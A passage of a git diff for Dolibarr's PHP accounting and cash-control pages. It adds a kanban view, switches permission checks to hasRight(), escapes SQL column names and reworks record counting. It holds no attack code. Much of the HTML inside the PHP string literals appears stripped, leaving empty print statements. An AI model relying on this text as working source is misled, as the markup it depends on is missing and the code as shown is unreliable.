      '; - print $form->selectDate($search_datev_end ? $search_datev_end : -1, 'search_date_value_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); - print '
      '; - print '
      '; - print $form->select_types_paiements($search_type_id, 'search_type_id', '', 0, 1, 1, 16, 1, 'maxwidth100', 1); - print ''; - // TODO - print ''; - $form->select_comptes($search_bank_account, 'search_account', 0, '', 1, '', 0, 'maxwidth100'); - print ''; - print ''; - print ''; - print '
      '; - print $formaccounting->select_account($search_accountancy_account, 'search_accountancy_account', 1, array(), 1, 1, 'maxwidth200'); - print '
      '; - print '
      '; - print '
      '; - print $formaccounting->select_auxaccount($search_accountancy_subledger, 'search_accountancy_subledger', 1, 'maxwidth200'); - print '
      '; - print '
      '; - print ''; - print ''; - print ''; - print '
      '; $searchpicto = $form->showFilterAndCheckAddButtons(0); print $searchpicto; print '
      '; + print '
      '; + print ''; + print ''; + print ''; + print ''; + print '
      '; + print $form->selectDate($search_datep_start ? $search_datep_start : -1, 'search_date_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_datep_end ? $search_datep_end : -1, 'search_date_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + print '
      '; + print '
      '; + print $form->selectDate($search_datev_start ? $search_datev_start : -1, 'search_date_value_start', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); + print '
      '; + print '
      '; + print $form->selectDate($search_datev_end ? $search_datev_end : -1, 'search_date_value_end', 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); + print '
      '; + print '
      '; + print $form->select_types_paiements($search_type_id, 'search_type_id', '', 0, 1, 1, 16, 1, 'maxwidth100', 1); + print ''; + // TODO + print ''; + $form->select_comptes($search_bank_account, 'search_account', 0, '', 1, '', 0, 'maxwidth100'); + print ''; + print ''; + print ''; + print '
      '; + print $formaccounting->select_account($search_accountancy_account, 'search_accountancy_account', 1, array(), 1, 1, 'maxwidth200'); + print '
      '; + print '
      '; + print '
      '; + print $formaccounting->select_auxaccount($search_accountancy_subledger, 'search_accountancy_subledger', 1, 'maxwidth200'); + print '
      '; + print '
      '; + print ''; + print ''; + print ''; + print ''; + $searchpicto = $form->showFilterAndCheckAddButtons(0); + print $searchpicto; + print '
      '; + print '
      '; + } + // Output Kanban + print $variousstatic->getKanbanView(''); + if ($i == ($imaxinloop) - 1) { + print '
      '; + print '
      '.$accountingaccount->getNomUrl(0, 1, 1, '', 1).''.length_accounta($obj->subledger_account).'
      '.$langs->trans("NoRecordFound").'
      '."\n"; - print '
      '."\n"; - - print ''."\n"; -} else { - dol_print_error($db); + $i++; } +// Show total line +include DOL_DOCUMENT_ROOT.'/core/tpl/list_print_total.tpl.php'; + +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print '
      '.$langs->trans("NoRecordFound").'
      '."\n"; +print '
      '."\n"; + +print ''."\n"; + // End of page llxFooter(); diff --git a/htdocs/compta/cashcontrol/cashcontrol_card.php b/htdocs/compta/cashcontrol/cashcontrol_card.php index 78ba0e2335e..a95512a286f 100644 --- a/htdocs/compta/cashcontrol/cashcontrol_card.php +++ b/htdocs/compta/cashcontrol/cashcontrol_card.php @@ -96,7 +96,7 @@ if ($user->socid > 0) { // Protection if external user //$socid = $user->socid; accessforbidden(); } -if (!$user->rights->cashdesk->run && !$user->rights->takepos->run) { +if (!$user->hasRight("cashdesk", "run") && !$user->hasRight("takepos", "run")) { accessforbidden(); } @@ -105,10 +105,10 @@ if (!$user->rights->cashdesk->run && !$user->rights->takepos->run) { * Actions */ -$permissiontoadd = ($user->rights->cashdesk->run || $user->rights->takepos->run); -$permissiontodelete = ($user->rights->cashdesk->run || $user->rights->takepos->run) || ($permissiontoadd && $object->status == 0); +$permissiontoadd = ($user->hasRight("cashdesk", "run") || $user->hasRight("takepos", "run")); +$permissiontodelete = ($user->hasRight("cashdesk", "run") || $user->hasRight("takepos", "run")) || ($permissiontoadd && $object->status == 0); if (empty($backtopage)) { - $backtopage = DOL_URL_ROOT.'/compta/cashcontrol/cashcontrol_card.php?id='.($id > 0 ? $id : '__ID__'); + $backtopage = DOL_URL_ROOT.'/compta/cashcontrol/cashcontrol_card.php?id='.(!empty($id) && $id > 0 ? $id : '__ID__'); } $backurlforlist = DOL_URL_ROOT.'/compta/cashcontrol/cashcontrol_list.php'; $triggermodname = 'CACHCONTROL_MODIFY'; // Name of trigger action code to execute when we modify record @@ -671,7 +671,7 @@ if (empty($action) || $action == "view" || $action == "close") { print "\n"; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/compta/cashcontrol/cashcontrol_list.php b/htdocs/compta/cashcontrol/cashcontrol_list.php index 5b764cfb730..1333a6b2346 100644 --- a/htdocs/compta/cashcontrol/cashcontrol_list.php +++ b/htdocs/compta/cashcontrol/cashcontrol_list.php @@ -17,7 +17,7 @@ */ /** - * \file cashcontrol_list.php + * \file htdocs/compta/cashcontrol/cashcontrol_list.php * \ingroup cashdesk|takepos * \brief List page for cashcontrol */ @@ -41,7 +41,7 @@ $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'cashcontrol'; // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') - +$mode = GETPOST('mode', 'alpha'); // for mode view result $id = GETPOST('id', 'int'); // Load variable for pagination @@ -50,8 +50,9 @@ $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; -} // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action +} $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; @@ -105,11 +106,11 @@ $arrayfields = array(); foreach ($object->fields as $key => $val) { // If $val['visible']==0, then we never show the field if (!empty($val['visible'])) { - $visible = (int) dol_eval($val['visible'], 1, 1, '1'); + $visible = (int) dol_eval($val['visible'], 1); $arrayfields['t.'.$key] = array( 'label'=>$val['label'], 'checked'=>(($visible < 0) ? 0 : 1), - 'enabled'=>($visible != 3 && dol_eval($val['enabled'], 1, 1, '1')), + 'enabled'=>(abs($visible) != 3 && dol_eval($val['enabled'], 1)), 'position'=>$val['position'], 'help'=> isset($val['help']) ? $val['help'] : '' ); @@ -177,8 +178,8 @@ if (empty($reshook)) { // Mass actions $objectclass = 'CashControl'; $objectlabel = 'CashControl'; - //$uploaddir = ''; - //include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; + $uploaddir = $conf->bank->dir_output; + include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; } @@ -194,7 +195,8 @@ $now = dol_now(); //$help_url="EN:Module_pos_cash_fence|FR:Module_pos_cash_fence_FR|ES:Módulo_pos_cash_fence"; $help_url = ''; $title = $langs->trans('CashControl'); - +$morejs = array(); +$morecss = array(); // Build and execute select // -------------------------------------------------------------------- @@ -209,8 +211,11 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; @@ -237,17 +242,17 @@ foreach ($search as $key => $val) { $mode_search = 2; } if ($search[$key] != '') { - $sql .= natural_search($key, $search[$key], (($key == 'status') ? 2 : $mode_search)); + $sql .= natural_search("t.".$db->escape($key), $search[$key], (($key == 'status') ? 2 : $mode_search)); } } else { if (preg_match('/(_dtstart|_dtend)$/', $key) && $search[$key] != '') { $columnName=preg_replace('/(_dtstart|_dtend)$/', '', $key); if (preg_match('/^(date|timestamp|datetime)/', $object->fields[$columnName]['type'])) { if (preg_match('/_dtstart$/', $key)) { - $sql .= " AND t." . $columnName . " >= '" . $db->idate($search[$key]) . "'"; + $sql .= " AND t.".$db->escape($columnName)." >= '".$db->idate($search[$key])."'"; } if (preg_match('/_dtend$/', $key)) { - $sql .= " AND t." . $columnName . " <= '" . $db->idate($search[$key]) . "'"; + $sql .= " AND t.".$db->escape($columnName)." <= '".$db->idate($search[$key])."'"; } } } @@ -267,11 +272,13 @@ $sql .= $hookmanager->resPrint; /* If a group by is required $sql.= " GROUP BY "; foreach($object->fields as $key => $val) { - $sql .= "t.".$key.", "; + $sql .= "t.".$db->escape($key).", "; } // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { - foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) $sql.=($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); + } } // Add where from hooks $parameters=array(); @@ -280,35 +287,43 @@ $sql.=$hookmanager->resPrint; $sql=preg_replace('/,\s*$/','', $sql); */ -$sql .= $db->order($sortfield, $sortorder); // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -// if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. -if (is_numeric($nbtotalofrecords) && ($limit > $nbtotalofrecords || empty($limit))) { - $num = $nbtotalofrecords; -} else { - if ($limit) { - $sql .= $db->plimit($limit + 1, $offset); - } - $resql = $db->query($sql); - if (!$resql) { - dol_print_error($db); - exit; - } - - $num = $db->num_rows($resql); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + + // Direct jump if only one record found if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { $obj = $db->fetch_object($resql); @@ -326,6 +341,9 @@ llxHeader('', $title, $help_url, '', 0, 0, '', '', '', 'classforhorizontalscroll $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -333,11 +351,17 @@ if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } foreach ($search as $key => $val) { - if (is_array($search[$key]) && count($search[$key])) { + if (is_array($search[$key])) { foreach ($search[$key] as $skey) { - $param .= '&search_'.$key.'[]='.urlencode($skey); + if ($skey != '') { + $param .= '&search_'.$key.'[]='.urlencode($skey); + } } - } else { + } elseif (preg_match('/(_dtstart|_dtend)$/', $key) && !empty($val)) { + $param .= '&search_'.$key.'month='.((int) GETPOST('search_'.$key.'month', 'int')); + $param .= '&search_'.$key.'day='.((int) GETPOST('search_'.$key.'day', 'int')); + $param .= '&search_'.$key.'year='.((int) GETPOST('search_'.$key.'year', 'int')); + } elseif ($search[$key] != '') { $param .= '&search_'.$key.'='.urlencode($search[$key]); } } @@ -352,15 +376,9 @@ $reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $param .= $hookmanager->resPrint; // List of mass actions available -$arrayofmassactions = array( -//'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), -//'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), -); -//if ($permissiontodelete) { -// $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); -//} -if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { - $arrayofmassactions = array(); +$arrayofmassactions = array(); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); } $massactionbutton = $form->selectMassAction('', $arrayofmassactions); @@ -373,11 +391,16 @@ print ''; print ''; print ''; +print ''; print ''; +print ''; $permforcashfence = 1; -$newcardbutton = dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/compta/cashcontrol/cashcontrol_card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permforcashfence); +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/compta/cashcontrol/cashcontrol_card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permforcashfence); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'cash-register', 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -389,10 +412,13 @@ $trackid = 'cashfence'.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; if ($search_all) { + $setupstring = ''; foreach ($fieldstosearchall as $key => $val) { $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; } - print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '; + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; } $moreforfilter = ''; @@ -415,7 +441,7 @@ if (!empty($moreforfilter)) { } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields $selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table @@ -425,6 +451,13 @@ print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -433,13 +466,13 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } if (!empty($arrayfields['t.'.$key]['checked'])) { print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; // Fields title label // -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -495,7 +534,9 @@ $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$ $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} print ''."\n"; @@ -524,76 +565,117 @@ while ($i < ($limit ? min($num, $limit) : $num)) { // Store properties in $object $object->setVarsFromFetchObj($obj); - // Show here line of result - print ''; - foreach ($object->fields as $key => $val) { - $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); - if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; - } elseif ($key == 'status') { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; + // show kanban result + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + // Show here line of result + $j = 0; + print ''; + + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; - if (!$i) { - $totalarray['nbfield']++; + } + + foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; } - if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + + if (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif ($key == 'ref') { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } + + if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; + + if (!empty($arrayfields['t.'.$key]['checked'])) { + print '$key)) { + print ' title="'.dol_escape_htmltag($object->$key).'"'; + } + print '>'; + if ($key == 'status') { + print $object->getLibStatut(5); + } elseif ($key == 'rowid') { + print $object->showOutputField($val, $key, $object->id, ''); + } else { + print $object->showOutputField($val, $key, $object->$key, ''); + } + print ''; if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + $totalarray['nbfield']++; } - if (!isset($totalarray['val'])) { - $totalarray['val'] = array(); + if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['t.'.$key])) { + $totalarray['val']['t.'.$key] = 0; + } + $totalarray['val']['t.'.$key] += $object->$key; } - if (!isset($totalarray['val']['t.'.$key])) { - $totalarray['val']['t.'.$key] = 0; - } - $totalarray['val']['t.'.$key] += $object->$key; } } - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Action column - print ''; + } + if (!$i) { + $totalarray['nbfield']++; } - print ''; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - - print ''."\n"; + print ''."\n"; + } $i++; } @@ -609,13 +691,13 @@ if ($num == 0) { $colspan++; } } - print ''; + print ''; } $db->free($resql); $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); -$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { - print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100', 1); + print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100'.($key == 'status' ? ' search_status onrightofpage' : ''), 1); } elseif ((strpos($val['type'], 'integer:') === 0) || (strpos($val['type'], 'sellist:')=== 0)) { print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', 'maxwidth125', 1); } elseif (!preg_match('/^(date|timestamp|datetime)/', $val['type'])) { @@ -463,16 +496,22 @@ $parameters = array('arrayfields'=>$arrayfields); $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; + print '
      '; } - if (in_array($val['type'], array('timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif ($key == 'ref') { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } + $object->posmodule = $obj->posmodule; + $object->cash = $obj->cash; + $object->opening = $obj->opening; + $object->year_close = $obj->year_close; + $object->cheque = $obj->cheque; - if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { - $cssforfield .= ($cssforfield ? ' ' : '').'right'; - } - //if (in_array($key, array('fk_soc', 'fk_user', 'fk_warehouse'))) $cssforfield = 'tdoverflowmax100'; - if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; - if ($key == 'status') { - print $object->getLibStatut(5); - } elseif ($key == 'rowid') { - print $object->showOutputField($val, $key, $object->id, ''); - } else { - print $object->showOutputField($val, $key, $object->$key, ''); + print $object->getKanbanView('', array('selected' => in_array($object->id, $arrayofselected))); + if ($i == (min($num, $limit) - 1)) { + print '
      '; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; } print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '.$langs->trans("NoRecordFound").'
      '."\n"; diff --git a/htdocs/compta/cashcontrol/class/cashcontrol.class.php b/htdocs/compta/cashcontrol/class/cashcontrol.class.php index bc45f3b417d..373bd6560cf 100644 --- a/htdocs/compta/cashcontrol/class/cashcontrol.class.php +++ b/htdocs/compta/cashcontrol/class/cashcontrol.class.php @@ -469,4 +469,41 @@ class CashControl extends CommonObject return $result; } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + //var_dump($this->fields['rowid']);exit; + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1, 1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'posmodule')) { + $return .= '
      '.substr($langs->trans("Module/Application"), 0, 12).' : '.$this->posmodule.''; + } + if (property_exists($this, 'year_close')) { + $return .= '
      '.$langs->trans("Year").' : '.$this->year_close.''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/compta/cashcontrol/report.php b/htdocs/compta/cashcontrol/report.php index a617c99e7af..c3d625c01e4 100644 --- a/htdocs/compta/cashcontrol/report.php +++ b/htdocs/compta/cashcontrol/report.php @@ -360,21 +360,21 @@ if ($resql) { print '
      '; print '

      '; - print $langs->trans("Cash").($transactionspertype['CASH'] ? ' ('.$transactionspertype['CASH'].')' : '').' :
      '.price($cash).'
      '; + print $langs->trans("Cash").(!empty($transactionspertype['CASH']) ? ' ('.$transactionspertype['CASH'].')' : '').' :
      '.price($cash).'
      '; if ($object->status == $object::STATUS_VALIDATED && $cash != $object->cash) { print ' <>
      '.$langs->trans("Declared").': '.price($object->cash).'
      '; } print "
      "; //print '
      '; - print $langs->trans("PaymentTypeCHQ").($transactionspertype['CHQ'] ? ' ('.$transactionspertype['CHQ'].')' : '').' :
      '.price($cheque).'
      '; + print $langs->trans("PaymentTypeCHQ").(!empty($transactionspertype['CHQ']) ? ' ('.$transactionspertype['CHQ'].')' : '').' :
      '.price($cheque).'
      '; if ($object->status == $object::STATUS_VALIDATED && $cheque != $object->cheque) { print ' <>
      '.$langs->trans("Declared").' : '.price($object->cheque).'
      '; } print "
      "; //print '
      '; - print $langs->trans("PaymentTypeCB").($transactionspertype['CB'] ? ' ('.$transactionspertype['CB'].')' : '').' :
      '.price($bank).'
      '; + print $langs->trans("PaymentTypeCB").(!empty($transactionspertype['CB']) ? ' ('.$transactionspertype['CB'].')' : '').' :
      '.price($bank).'
      '; if ($object->status == $object::STATUS_VALIDATED && $bank != $object->card) { print ' <>
      '.$langs->trans("Declared").': '.price($object->card).'
      '; } diff --git a/htdocs/compta/clients.php b/htdocs/compta/clients.php index cd472c270e3..8db4516d3dd 100644 --- a/htdocs/compta/clients.php +++ b/htdocs/compta/clients.php @@ -133,7 +133,7 @@ if ($resql) { $langs->load('commercial'); - print_barre_liste($langs->trans("ListOfCustomers"), $page, $_SERVER["PHP_SELF"], "", $sortfield, $sortorder, '', $num); + print_barre_liste($langs->trans("Customers"), $page, $_SERVER["PHP_SELF"], "", $sortfield, $sortorder, '', $num); print '
